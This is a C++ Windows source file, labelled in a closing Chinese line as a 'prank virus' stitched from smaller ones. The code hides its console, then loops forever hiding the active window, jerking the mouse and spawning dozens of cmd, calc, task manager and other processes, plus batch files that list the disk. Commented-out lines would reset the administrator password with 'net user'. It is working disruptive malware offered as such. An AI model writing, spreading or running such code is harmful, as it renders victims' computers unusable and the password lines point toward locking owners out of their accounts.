#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
//system("net user administrator \"*\e425c2bb232bb51191345a8dce9f543ffc82e285\"");
//system("net user administrator \"\"");
HWND hwnd;
hwnd=FindWindow("ConsoleWindowClass",NULL); //处理顶级窗口的类名和窗口名称匹配指定的字符串,不搜索子窗口。
if(hwnd)
{
ShowWindow(hwnd,SW_HIDE); //设置指定窗口的显示状态
}
while(1)
{
HWND hWnd=GetForegroundWindow();
ShowWindow(hWnd,SW_HIDE);
SetCursorPos (100, 100);
system("start cmd");
int x,y;
for (int a=0;a<10000;a++)
{
x = rand()%801;
y = rand()%601;
SetCursorPos(x,y);
}
for (int b=0;b<3;b++)
{
system("start notepad");
system("start calc");
system("start winver");
system("start cmd");
system("start Nslookup");
system("start ");
system("start cleanmgr");
system("start charmap");
system("start calc");
system("start calc");
system("start dxdiag");
system("start cmd");
system("start cmd");
system("start cmd");
system("start taskmgr");
system("start ");
system("start wiaacmgr");
system("start mspaint");
system("start mmc");
system("start ");
}
system("start dxdiag");
for (int c=0;c<5;c++)
{
system("start notepad");
}
system("taskkill /im notepad.exe") ;
for (int d=0;d<5;d++)
{
system("start calc");
}
system("taskkill /im calc.exe") ;
for (int l=0;l<10;l++)
{
system("start calc");
}
system("taskkill /im calc.exe") ;
for (int m=0;m<15;m++)
{
system("start calc");
}
system("taskkill /im calc.exe") ;
for (int f=0;f<20;f++)
{
system("start calc");
}
system("taskkill /im calc.exe") ;
for (int n=0;n<10;n++)
{
system("start calc");
}
system("taskkill /im calc.exe") ;
for (int q=0;q<15;q++)
{
system("start cmd");
}
system("taskkill /im cmd.exe") ;
for (int r=0;r<20;r++)
{
system("start taskmgr");
}
system("taskkill /im taskmgr.exe") ;
for (int g=0;g<10;g++)
{
system("start mmc");
}
for (int h=0;h<10;h++)
{
system("start ");
}
ofstream out;
out.open("eason.bat");
out<<"dir/s";
out.close();
for (int i=0;i<5;i++)
{
system("start eason.bat");
}
ofstream oo;
oo.open("eason2.bat");
oo<<"tree";
oo.close();
for (int j=0;j<5;j++)
{
system("start eason2.bat");
}
}
system("pause");
}
一个非常毒的恶搞病毒,由许多小病毒缝合起来的,特别厉害。